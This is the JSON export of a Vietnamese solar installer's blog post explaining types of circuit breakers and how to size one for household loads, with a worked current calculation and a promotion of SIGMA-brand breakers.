{"id":5683,"date":"2022-09-05T11:46:35","date_gmt":"2022-09-05T04:46:35","guid":{"rendered":"https:\/\/solarquangbinh.com\/?p=5683"},"modified":"2022-09-05T13:37:05","modified_gmt":"2022-09-05T06:37:05","slug":"cach-lua-chon-aptomat-bao-ve-cho-thiet-bi-dien-dan-dung","status":"publish","type":"post","link":"https:\/\/solarquangbinh.com\/?p=5683","title":{"rendered":"C\u00e1ch l\u1ef1a ch\u1ecdn Aptomat b\u1ea3o v\u1ec7 cho thi\u1ebft b\u1ecb \u0111i\u1ec7n d\u00e2n d\u1ee5ng"},"content":{"rendered":"<h3 class=\"thin-font\"><span data-text-color=\"secondary\"><strong>\u00a0Thi\u1ebft b\u1ecb \u0111\u00f3ng-c\u1eaft (Aptomat) l\u00e0 g\u00ec?<\/strong><\/span><\/h3>\n<p class=\"thin-font\">Theo t\u00ean ti\u1ebfng Anh th\u00ec <strong><a href=\"https:\/\/solarquangbinh.com\/?p=5683&amp;preview=true\">thi\u1ebft b\u1ecb \u0111\u00f3ng c\u1eaft<\/a><\/strong>\u00a0c\u00f2n c\u00f3 t\u00ean g\u1ecdi kh\u00e1c l\u00e0 CB \u2013 Circuit Breaker. C\u00f2n g\u1ecdi v\u1edbi ti\u1ebfng Nga l\u00e0 aptomat. CB c\u00f2n c\u00f3 th\u1ec3 l\u00e0 kh\u00ed c\u1ee5 \u0111i\u1ec7n v\u1edbi ch\u1ee9c n\u0103ng ch\u00ednh l\u00e0 \u0111\u00f3ng ng\u1eaft m\u1ea1ch \u0111i\u1ec7n. Nh\u1eb1m \u0111\u1ec3 b\u1ea3o v\u1ec7 s\u1ef1 qu\u1ea3 t\u1ea3i, ng\u1eafn m\u1ea1ch hay s\u1ee5t \u00e1p cho m\u1ea1ch \u0111i\u1ec7n.<\/p>\n<p class=\"thin-font\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5689 aligncenter\" src=\"https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/sima.png\" alt=\"\" width=\"627\" height=\"407\" srcset=\"https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/sima.png 627w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/sima-510x331.png 510w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/sima-300x195.png 300w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/sima-600x389.png 600w\" sizes=\"(max-width: 627px) 100vw, 627px\" \/><\/p>\n<p class=\"thin-font\">M\u1ee5c \u0111\u00edch ch\u00ednh l\u00e0 \u0111\u1ea3m b\u1ea3o cho \u0111\u1ed9ng c\u01a1 c\u1ee7a c\u00e1c thi\u1ebft b\u1ecb \u0111i\u1ec7n trong h\u1ec7 th\u1ed1ng c\u00f3 th\u1ec3 v\u1eadn h\u00e0nh m\u1ed9t c\u00e1ch \u1ed5n \u0111\u1ecbnh trong m\u1ed9t th\u1eddi gian d\u00e0i. Quan tr\u1ecdng h\u01a1n ch\u00ednh l\u00e0 b\u1ea3o v\u1ec7 \u0111\u01b0\u1ee3c s\u1ef1 an to\u00e0n cho ng\u01b0\u1eddi s\u1eed d\u1ee5ng \u0111i\u1ec7n n\u1ebfu ch\u1eb3ng may x\u1ea3y ra s\u1ef1 c\u1ed1 \u0111i\u1ec7n.<\/p>\n<p class=\"thin-font\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-5685 aligncenter\" src=\"https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/c\u1ea5u-t\u1ea1o-MCB.png\" alt=\"\" width=\"552\" height=\"540\" srcset=\"https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/c\u1ea5u-t\u1ea1o-MCB.png 749w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/c\u1ea5u-t\u1ea1o-MCB-510x499.png 510w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/c\u1ea5u-t\u1ea1o-MCB-300x294.png 300w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/c\u1ea5u-t\u1ea1o-MCB-600x587.png 600w\" sizes=\"(max-width: 552px) 100vw, 552px\" \/><\/p>\n<h3 class=\"thin-font\"><span data-text-color=\"primary\"><strong><span style=\"font-size: 15.5pt; line-height: 107%; font-family: Arial, sans-serif; color: black;\">C\u00f3 nh\u1eefng lo\u1ea1i thi\u1ebft b\u1ecb \u0111\u00f3ng c\u1eaft n\u00e0o?<\/span><\/strong><\/span><\/h3>\n<p class=\"thin-font\">T\u00f9y theo ch\u1ee9c n\u0103ng, nhi\u1ec7m v\u1ee5 m\u00e0 ph\u00e2n lo\u1ea1i Aptomat bao g\u1ed3m: CB, MCB, MCCB, VCB&#8230; V\u1eady c\u00e1c lo\u1ea1i Aptomat \u0111\u00f3 l\u00e0 g\u00ec?<\/p>\n<p class=\"thin-font\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-5687 aligncenter\" src=\"https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/cove-3.png\" alt=\"\" width=\"565\" height=\"563\" srcset=\"https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/cove-3.png 1082w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/cove-3-100x100.png 100w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/cove-3-510x508.png 510w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/cove-3-150x150.png 150w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/cove-3-300x300.png 300w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/cove-3-768x765.png 768w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/cove-3-1024x1020.png 1024w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/cove-3-600x598.png 600w\" sizes=\"(max-width: 565px) 100vw, 565px\" \/><\/p>\n<p class=\"thin-font\"><strong>ACB<\/strong>( Air Circuit Breaker ): c\u00f2n \u0111\u01b0\u1ee3c bi\u1ebft \u0111\u1ebfn v\u1edbi m\u1ed9t t\u00ean g\u1ecdi kh\u00e1c ch\u00ednh l\u00e0\u00a0<strong>m\u00e1y c\u1eaft kh\u00f4ng kh\u00ed<\/strong>\u00a0c\u00f3 ch\u1ee9c n\u0103ng ch\u00ednh l\u00e0 b\u1ea3o v\u1ec7 hi\u1ec7n t\u01b0\u1ee3ng ng\u1eafn m\u1ea1ch hay qu\u00e1 t\u1ea3i. Th\u01b0\u1eddng gi\u00e0nh cho nh\u1eefng d\u00f2ng \u0111i\u1ec7n c\u00f3 d\u00f2ng t\u1ea3i t\u1eeb 400A tr\u1edf l\u00ean.<\/p>\n<p class=\"thin-font\"><strong>VCB<\/strong>( Vacuum Breaker ): th\u01b0\u1eddng \u0111\u01b0\u1ee3c m\u1ecdi ng\u01b0\u1eddi g\u1ecdi l\u00e0 m\u00e1y c\u1eaft ch\u00e2n kh\u00f4ng. M\u1ecdi ng\u01b0\u1eddi th\u01b0\u1eddng \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng cho m\u1ea1ng \u0111i\u1ec7n \u00e1p trung th\u1ebf t\u1eeb 6,6 kV tr\u1edf l\u00ean.<\/p>\n<p class=\"thin-font\"><strong>MCB<\/strong>( Miniature Circuit Breaker ) l\u00e0 m\u1ed9t aptomat \u1edf d\u1ea1ng t\u00e9p. Thi\u1ebft b\u1ecb n\u00e0y c\u00f3 d\u00f2ng c\u1eaft c\u1ed1 \u0111\u1ecbnh v\u00e0 d\u00f2ng c\u1eaft qu\u00e1 t\u1ea3i th\u1ea5p ( 100A\/ 10kA ).<\/p>\n<p class=\"thin-font\"><strong>MCCB<\/strong>(Moulded Case Circuit Breaker ) th\u00ec l\u1ea1i l\u00e0 m\u1ed9t d\u1ea1ng aptomat \u1edf d\u1ea1ng kh\u1ed1i. N\u00f3 c\u00f3 d\u00f2ng c\u1eaft ng\u1eafn m\u1ea1ch l\u00ean t\u1edbi 80 kA v\u00e0 d\u00f2ng c\u1eaft \u0111\u1ecbnh m\u1ef1c l\u00ean \u0111\u1ebfn 2400A.<\/p>\n<p class=\"thin-font\"><strong>ELCB<\/strong>( Earth Leakage Circuit Breaker ) hay c\u00f2n \u0111\u01b0\u1ee3c bi\u1ebft \u0111\u1ebfn v\u1edbi m\u1ed9t c\u00e1i t\u00ean kh\u00e1c l\u00e0\u00a0<strong>thi\u1ebft b\u1ecb ch\u1ed1ng d\u00f2ng r\u00f2<\/strong>. Nh\u01b0ng th\u1eadt ch\u1ea5t \u0111\u00e2y l\u00e0 m\u1ed9t lo\u1ea1i MCCB hay MCB c\u00f3 th\u00eam b\u1ed9 c\u1ea3m bi\u1ebfn d\u00f2ng r\u00f2. ELCB v\u1eeba cho \u0111\u1ec3 b\u1ea3o v\u1ec7 s\u1ef1 qu\u00e1 t\u1ea3i, ng\u1eafn m\u1ea1ch v\u00e0 b\u1ea3o v\u1ec7 d\u00f2ng r\u00f2.<\/p>\n<p class=\"thin-font\"><strong>RCBO<\/strong>( Residual Curent Circuit Breaker with Overcurrent Protection ): M\u1ed9t thi\u1ebft b\u1ecb ch\u1ed1ng d\u00f2ng r\u00f2 c\u00f3 k\u00edch th\u01b0\u1edbc gi\u1ed1ng nh\u01b0 MCB 1P+N nh\u1eefng s\u1ebd c\u00f3 th\u00eam b\u1ed9 b\u1ea3o v\u1ec7 qu\u00e1 d\u00f2ng cho h\u1ec7 th\u1ed1ng \u0111i\u1ec7n.<\/p>\n<p class=\"thin-font\"><strong>RCCB<\/strong> ( Ressidual Current Circuit Breaker ): m\u1ed9t thi\u1ebft b\u1ecb \u0111\u00f3ng c\u1eaft d\u00f2ng r\u00f2 lo\u1ea1i 2 t\u00e9p v\u00e0 lo\u1ea1i 4 t\u00e9p.<\/p>\n<h3 class=\"thin-font\"><span data-text-color=\"secondary\"><strong>C\u00e1c th\u00f4ng s\u1ed1 v\u00e0 c\u00e1ch l\u1ef1a ch\u1ecdn Aptomat t\u1ed1i \u01b0u nh\u1ea5t?<\/strong><\/span><\/h3>\n<p class=\"thin-font\">L\u1ef1a ch\u1ecdn Aptomat c\u1ea7n ch\u00fa \u00fd c\u00e1c th\u00f4ng s\u1ed1 sau:<\/p>\n<p class=\"thin-font\" style=\"text-align: justify; text-justify: inter-ideograph; margin: 0in 0in 3.75pt 0in;\"><span style=\"font-family: 'Arial',sans-serif; color: black;\">l Ivmax =&lt; I \u0111m<\/span><\/p>\n<p class=\"thin-font\" style=\"text-align: justify; text-justify: inter-ideograph; box-sizing: border-box; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; word-spacing: 0px; margin: 0in 0in 3.75pt 0in;\"><span style=\"font-family: 'Arial',sans-serif; color: black;\">U \u0111m l\u01b0\u1edbi =&lt; U \u0111m<\/span><\/p>\n<p class=\"thin-font\" style=\"text-align: justify; text-justify: inter-ideograph; box-sizing: border-box; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; word-spacing: 0px; margin: 0in 0in 3.75pt 0in;\"><span style=\"font-family: 'Arial',sans-serif; color: black;\">I nmax=&lt; K.I Iv max. Ic\u0111m =&lt; I \u0111m. <\/span><\/p>\n<p class=\"thin-font\" style=\"text-align: justify; text-justify: inter-ideograph; margin: 0in 0in 3.75pt 0in;\"><span style=\"font-family: 'Arial',sans-serif; color: black;\">\u0110\u00e2y ch\u00ednh l\u00e0 d\u00f2ng c\u1eaft \u0111\u1ecbnh m\u1ee9c c\u1ee7a c\u00e1c thi\u1ebft b\u1ecb, n\u00ean c\u1ea7n ph\u1ea3i l\u1edbn h\u01a1n d\u00f2ng ng\u1eafn m\u1ea1ch l\u1edbn nh\u1ea5t m\u1ed9t c\u00e1ch c\u00f3 th\u1ec3. T\u1ee9c l\u00e0 ng\u1eafn m\u1ea1ch ngay t\u1ea1i ph\u00eda sau c\u1ee7a thi\u1ebft b\u1ecb so v\u1edbi ngu\u1ed3n. Ta s\u1ebd c\u00f3 th\u1ec3 t\u00ednh \u0111i\u1ec3m ng\u1eafn m\u1ea1ch tr\u00ean thanh g\u00f3p \u0111\u1ec3 l\u1ef1a ch\u1ecdn d\u00f2ng c\u1eaft c\u1ee7a nhi\u1ec1u thi\u1ebft b\u1ecb \u0111\u00f3ng c\u1eaft n\u1ed1i tr\u00ean \u0111\u00f3.<\/span><\/p>\n<p class=\"thin-font\" style=\"text-align: justify; text-justify: inter-ideograph; margin: 0in 0in 3.75pt 0in;\"><strong><span style=\"font-family: 'Arial',sans-serif; color: black;\">Ch\u1ecdn thi\u1ebft b\u1ecb \u0111\u00f3ng c\u1eaft sao cho h\u1ee3p l\u00fd?<\/span><\/strong><\/p>\n<p class=\"thin-font\" style=\"text-align: justify; text-justify: inter-ideograph; box-sizing: border-box; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; word-spacing: 0px; margin: 0in 0in 3.75pt 0in;\"><span style=\"font-family: 'Arial',sans-serif; color: black;\">Tuy nhi\u00ean, vi\u1ec7c ch\u1ecdn l\u1ef1a c\u0169ng c\u1ea7n ph\u1ea3i ph\u1ee5 thu\u1ed9c r\u1ea5t nhi\u1ec1u v\u00e0o vi\u1ec7c ng\u01b0\u1eddi d\u00f9ng ch\u1ecdn d\u00e2y d\u1eabn chu\u1ea9n n\u1eefa.<\/span><\/p>\n<p class=\"thin-font\" style=\"text-align: justify; text-justify: inter-ideograph; box-sizing: border-box; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; word-spacing: 0px; margin: 0in 0in 3.75pt 0in;\"><span style=\"font-family: 'Arial',sans-serif; color: black;\">Ngo\u00e0i ra th\u00ec trong qu\u00e1 tr\u00ecnh ch\u1ecdn l\u1ef1a c\u00f2n ph\u1ea3i c\u0103n c\u1ee9 v\u00e0o \u0111i\u1ec1u ki\u1ec7n l\u00e0m vi\u1ec7c ph\u1ee5 t\u1ea3i. Thi\u1ebft b\u1ecb s\u1ebd kh\u00f4ng ho\u1ea1t \u0111\u1ed9ng \u0111\u01b0\u1ee3c n\u1ebfu nh\u01b0 qu\u00e1 t\u1ea3i ng\u1eafn h\u1ea1n. \u0110i\u1ec1u n\u00e0y th\u01b0\u1eddng th\u1ea5y trong \u0111i\u1ec1u ki\u1ec7n l\u00e0m vi\u1ec7c b\u00ecnh th\u01b0\u1eddng nh\u01b0 d\u00f2ng \u0111i\u1ec7n khi m\u1edf m\u00e1y \u0111\u1ed9ng c\u01a1 \u0111i\u1ec7n. Hay d\u00f2ng \u0111i\u1ec7n c\u1ef1c \u0111\u1ea1i trong c\u00e1c ph\u1ee5 t\u1ea3i c\u00f4ng ngh\u1ec7.<\/span><\/p>\n<p class=\"thin-font\">\u0110\u1ec3 ch\u1ecdn \u0111\u01b0\u1ee3c aptomat ph\u00f9 h\u1ee3p cho gia \u0111\u1ecbnh b\u1ea1n c\u1ea7n bi\u1ebft c\u00e1ch t\u00ednh d\u00f2ng \u0111i\u1ec7n c\u01a1 b\u1ea3n sau:<\/p>\n<p class=\"thin-font\" style=\"text-align: center;\"><strong>I= P\/U<\/strong><\/p>\n<p class=\"thin-font\" style=\"text-align: left;\"><strong>Trong \u0111\u00f3:\u00a0<\/strong><\/p>\n<p class=\"thin-font\" style=\"text-align: left;\"><strong>\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 P:<\/strong>C\u00f4ng su\u1ea5t ti\u00eau th\u1ee5 c\u00e1c thi\u1ebft b\u1ecb \u0111i\u1ec7n.<\/p>\n<p class=\"thin-font\" style=\"text-align: left;\"><strong>\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 U:<\/strong>Hi\u1ec7u \u0111i\u1ec7n th\u1ebf.<\/p>\n<p class=\"thin-font\" style=\"text-align: left;\"><strong>\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0I:\u00a0<\/strong>Ch\u1ec9 s\u1ed1 ch\u1ecdn aptomat.<\/p>\n<p class=\"thin-font\"><span style=\"font-family: 'Arial',sans-serif; color: black;\">C\u0169ng t\u00f9y theo v\u00e0o \u0111\u1eb7c t\u00ednh v\u00e0 \u0111i\u1ec1u ki\u1ec7n l\u00e0m vi\u1ec7c c\u1ee5 th\u1ec3 tr\u00ean t\u1eebng ph\u1ee5 t\u1ea3i. B\u1ea1n s\u1ebd ph\u1ea3i \u0111\u01b0\u1ee3c h\u01b0\u1edbng d\u1eabn l\u1ef1a ch\u1ecdn d\u00f2ng \u0111i\u1ec7n \u0111\u1ecbnh m\u1ee9c ph\u00f9 h\u1ee3p c\u1ee7a t\u1eebng ph\u1ea7n t\u1eed b\u1ea3o v\u1ec7 s\u1ebd b\u1eb1ng 1,25; 1,5 ho\u1eb7c l\u1edbn h\u01a1n khi m\u00e0 ph\u1ea3i so s\u00e1nh v\u1edbi d\u00f2ng \u0111i\u1ec7n t\u00ednh to\u00e1n trong m\u1ea1ch.<\/span><\/p>\n<p class=\"thin-font\"><em><span style=\"text-decoration: underline;\">V\u00ed d\u1ee5:<\/span><\/em><\/p>\n<p class=\"thin-font\" style=\"text-align: left;\">K\u00edch th\u01b0\u1edbc ph\u00f9 h\u1ee3p c\u1ee7a Aptomat cho t\u1ea3i 2000W, 220V m\u1ed9t pha l\u00e0 g\u00ec?<\/p>\n<p class=\"thin-font\" style=\"text-align: left;\">Gi\u1ea3i ph\u00e1p:<\/p>\n<p class=\"thin-font\" style=\"text-align: left;\">T\u1ea3i:P = 2000W, \u0110i\u1ec7n \u00e1p: U = 220V (M\u1ed9t pha)<\/p>\n<p class=\"thin-font\" style=\"text-align: left;\">Theo lu\u1eadt ohm, ta c\u00f3:\u00a0 \u00a0<strong>I = P\/U\u00a0<\/strong>= 2000W\/220V = 9.090 A.<\/p>\n<p class=\"thin-font\" style=\"text-align: left;\">\u0110\u1ec3 l\u1ef1a ch\u1ecdn Aptomat ta nh\u00e2n 1.2 ho\u1eb7c 1.25 v\u1edbi d\u00f2ng t\u1ea3i, c\u1ee5 th\u1ec3: I(Aptomat)= 1.2 x 9.090 A = 10.908<\/p>\n<p class=\"thin-font\" style=\"text-align: left;\">V\u1eady ch\u1ecdn Aptomat lo\u1ea1i <strong>12 A<\/strong><\/p>\n<p class=\"thin-font\"><em>Ho\u1eb7c c\u0169ng c\u00f3 th\u1ec3 l\u1ef1a ch\u1ecdn Aptomat theo k\u00edch th\u01b0\u1edbc d\u00e2y d\u1eabn:<\/em><\/p>\n<p class=\"thin-font\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-5684 aligncenter\" src=\"https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/abc.png\" alt=\"\" width=\"488\" height=\"261\" srcset=\"https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/abc.png 754w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/abc-510x273.png 510w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/abc-300x160.png 300w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/abc-600x321.png 600w\" sizes=\"(max-width: 488px) 100vw, 488px\" \/><\/p>\n<h3 class=\"thin-font\"><span data-text-color=\"secondary\"><strong><span style=\"font-size: 15.0pt; font-family: 'Arial',sans-serif; color: #333333;\">M\u1ed9t s\u1ed1 \u0111i\u1ec1u c\u1ea7n l\u01b0u \u00fd khi l\u1ef1a ch\u1ecdn Aptomat?<\/span><\/strong><\/span><\/h3>\n<p class=\"thin-font\" style=\"margin: 0in; margin-bottom: .0001pt; line-height: 18.6pt;\"><span style=\"font-family: 'Arial',sans-serif; color: #333333;\">Sau khi bi\u1ebft c\u00f4ng th\u1ee9c t\u00ednh d\u00f2ng \u0111i\u1ec7n trong gia \u0111\u00ecnh \u0111\u1ec3 ch\u1ecdn aptomat ph\u00f9 h\u1ee3p, b\u1ea1n c\u1ea7n ph\u1ea3i t\u00ecm hi\u1ec3u, l\u1ef1a ch\u1ecdn aptomat ch\u1ea5t l\u01b0\u1ee3ng, uy t\u00edn \u0111\u01b0\u1ee3c b\u00e1n tr\u00ean th\u1ecb tr\u01b0\u1eddng nh\u01b0:\u00a0<strong><span style=\"font-family: 'Arial',sans-serif;\">Sigma, Panasonic<\/span><\/strong>,\u00a0<strong><span style=\"font-family: 'Arial',sans-serif;\">Sino<\/span><\/strong>,&#8230;<\/span><\/p>\n<p class=\"thin-font\" style=\"margin: 0in; margin-bottom: .0001pt; line-height: 18.6pt; margin-block: 0px; margin-inline: 0px; text-rendering: geometricprecision; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; word-spacing: 0px;\"><span style=\"font-family: 'Arial',sans-serif; color: #333333;\">N\u00ean l\u1eafp c\u00e1c<strong><span style=\"font-family: 'Arial',sans-serif;\">\u00a0aptomat nh\u00e1nh\u00a0<\/span><\/strong>cho t\u1eebng ph\u00f2ng ri\u00eang bi\u1ec7t \u0111\u1ec3 tr\u01b0\u1eddng h\u1ee3p khi x\u1ea3y ra s\u1ef1 c\u1ed1\u00a0th\u00ec nh\u1eefng aptomat nh\u00e1nh s\u1ebb nh\u1ea3y tr\u01b0\u1edbc. Aptomat t\u1ed5ng ch\u1ec9 nh\u1ea3y khi x\u1ea3y ra s\u1ef1 c\u1ed1 nghi\u00eam tr\u1ecdng hay ng\u1eaft m\u1ea1ch d\u00e2y ngu\u1ed3n.<\/span><\/p>\n<p class=\"thin-font\" style=\"margin: 0in; margin-bottom: .0001pt; line-height: 18.6pt; margin-block: 0px; margin-inline: 0px; text-rendering: geometricprecision; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; word-spacing: 0px;\"><span style=\"font-family: 'Arial',sans-serif; color: #333333;\">Khi ti\u1ebfn h\u00e0nh l\u1eafp aptomat, b\u1ea1n c\u1ea7n th\u1ed1ng k\u00ea l\u1ea1i th\u00f4ng s\u1ed1 to\u00e0n b\u1ed9 c\u00f4ng su\u1ea5t ti\u00eau th\u1ee5 c\u1ee7a c\u00e1c thi\u1ebft b\u1ecb \u0111i\u1ec7n \u0111\u1ec3 bi\u1ebft \u0111\u01b0\u1ee3c c\u01b0\u1eddng \u0111\u1ed9 t\u1ed1i \u0111a l\u00e0 bao nhi\u00eau. T\u1eeb \u0111\u00f3, l\u1ef1a ch\u1ecdn th\u00f4ng s\u1ed1 ch\u00eanh l\u1ec7ch trong kho\u1ea3ng\u00a0<strong><span style=\"font-family: 'Arial',sans-serif;\">\u00b1 30%<\/span><\/strong>.<\/span><\/p>\n<p class=\"thin-font\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-5686 aligncenter\" src=\"https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/Untitled.png\" alt=\"\" width=\"402\" height=\"413\" srcset=\"https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/Untitled.png 600w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/Untitled-510x524.png 510w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/Untitled-292x300.png 292w\" sizes=\"(max-width: 402px) 100vw, 402px\" \/><\/p>\n<h3 class=\"thin-font\"><span data-text-color=\"secondary\"><strong>\u00a0Mua Aptomat ch\u1ea5t l\u01b0\u1ee3ng \u1edf \u0111\u00e2u?<\/strong><\/span><\/h3>\n<p class=\"thin-font\">Aptomat \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng r\u1ed9ng r\u00e3i trong h\u1ec7 th\u1ed1ng ph\u00e2n ph\u1ed1i \u0111i\u1ec7n, \u0111\u1eb7c bi\u1ec7t l\u00e0 \u0111i\u1ec7n m\u1eb7t tr\u1eddi \u0111\u1ec3 \u0111\u00f3ng ng\u1eaft ngu\u1ed3n c\u1ea5p DC d\u00e0nh cho t\u1ea5m pin n\u0103ng l\u01b0\u1ee3ng m\u1eb7t tr\u1eddi.\u00a0L\u1ef1a ch\u1ecdn Aptomat li\u00ean quan \u0111\u1ebfn c\u00e1c th\u00f4ng s\u1ed1 k\u1ef9 thu\u1eadt \u0111\u00f2i h\u1ecfi c\u00e1c \u0111\u01a1n v\u1ecb thi c\u00f4ng ph\u1ea3i am hi\u1ec3u v\u00e0 c\u00f3 kinh nghi\u1ec7m trong vi\u1ec7c l\u1ef1a ch\u1ecdn thi\u1ebft b\u1ecb c\u00f3 \u0111\u1ed9 b\u1ec1n cao v\u00e0 \u0111\u00e1p \u1ee9ng c\u00e1c ti\u00eau chu\u1ea9n k\u1ef9 thu\u1eadt kh\u1eaft khe nh\u1ea5t.<\/p>\n<p class=\"thin-font\">M\u1ed9t trong nh\u1eefng s\u1ea3n ph\u1ea9m m\u00e0 Thu\u1eadn Phong th\u01b0\u1eddng t\u01b0 v\u1ea5n l\u1eafp \u0111\u1eb7t cho kh\u00e1ch h\u00e0ng l\u00e0 thi\u1ebft b\u1ecb \u0111\u00f3ng c\u1eaft SIGMA, th\u01b0\u01a1ng hi\u1ec7u \u0111\u1ebfn t\u1eeb Th\u1ed5 Nh\u0129 K\u1ef3.\u00a0Sigma Elektrik l\u00e0 h\u00e3ng s\u1ea3n xu\u1ea5t thi\u1ebft b\u1ecb \u0111\u00f3ng c\u1eaft h\u00e0ng \u0111\u1ea7u t\u1ea1i ch\u00e2u \u00c2u v\u00e0 tr\u00ean th\u1ebf gi\u1edbi, \u0111ang d\u1ea7n kh\u1eb3ng \u0111\u1ecbnh v\u1ecb th\u1ebf \u0111a d\u1ea1ng v\u1ec1 ch\u1ee7ng lo\u1ea1i, ch\u1ea5t l\u01b0\u1ee3ng t\u1ed1t, \u0111\u1ed9 b\u1ec1n cao v\u00e0 gi\u00e1 c\u1ea3 h\u1ee3p t\u00fai ti\u1ec1n ng\u01b0\u1eddi d\u00e2n Vi\u1ec7t Nam.<\/p>\n<p class=\"thin-font\" style=\"background: white;\"><span style=\"font-size: 11.5pt; font-family: 'Arial',sans-serif; color: #404e65;\">Thu\u1eadn Phong chuy\u00ean cung c\u1ea5p c\u00e1c lo\u1ea1i thi\u1ebft b\u1ecb \u0111\u00f3ng c\u1eaft 1P-3P (CB, MCB, ACB, MCCB, RCCB, SPD,\u2026) th\u01b0\u01a1ng hi\u1ec7u SIGMA chuy\u00ean d\u1ee5ng trong l\u1eafp \u0111\u1eb7t \u0111i\u1ec7n m\u1eb7t tr\u1eddi v\u00e0 \u0111i\u1ec7n d\u00e2n d\u1ee5ng v\u1edbi cam k\u1ebft v\u1ec1 ch\u1ea5t l\u01b0\u1ee3ng, \u0111\u1ed9 b\u1ec1n cao v\u00e0 gi\u00e1 c\u1ea3 h\u1ee3p l\u00fd \u0111\u1ed1i v\u1edbi kh\u00e1ch h\u00e0ng.<\/span><\/p>\n<p class=\"thin-font\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-5688 aligncenter\" src=\"https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/300884881_1083503262371761_6870762991126229857_n.png\" alt=\"\" width=\"900\" height=\"603\" srcset=\"https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/300884881_1083503262371761_6870762991126229857_n.png 900w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/300884881_1083503262371761_6870762991126229857_n-510x342.png 510w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/300884881_1083503262371761_6870762991126229857_n-300x201.png 300w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/300884881_1083503262371761_6870762991126229857_n-768x515.png 768w, https:\/\/solarquangbinh.com\/wp-content\/uploads\/2022\/09\/300884881_1083503262371761_6870762991126229857_n-600x402.png 600w\" sizes=\"(max-width: 900px) 100vw, 900px\" \/><\/p>\n<p class=\"thin-font\" style=\"background: white; box-sizing: border-box; -webkit-font-smoothing: antialiased; text-rendering: optimizelegibility; overflow-wrap: break-word; font-variant-ligatures: normal; font-variant-caps: normal; orphans: 2; text-align: start; widows: 2; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial; word-spacing: 0px;\"><span style=\"font-size: 11.5pt; font-family: 'Arial',sans-serif; color: #404e65;\">Ngo\u00e0i ra, ch\u00fang t\u00f4i l\u00e0 \u0111\u01a1n v\u1ecb cung c\u1ea5p s\u1ec9 v\u00e0 l\u1ebb v\u1eadt t\u01b0 v\u00e0 ph\u1ee5 ki\u1ec7n nh\u01b0 <a href=\"https:\/\/solarquangbinh.com\/san-pham\/jack-mc-4-dien-ap-1500vdc-2\/\">MC4<\/a>, <a href=\"https:\/\/solarquangbinh.com\/san-pham\/day-cap-dien-solar-6mm21500vdc-soc-do-cuon-1000m-2\/\">d\u00e2y c\u00e1p \u0111i\u1ec7n<\/a>, CB, MCCB, ch\u1ed1ng s\u00e9t, t\u1ee7 \u0111i\u1ec7n, thanh ray, k\u1eb9p pin, <a 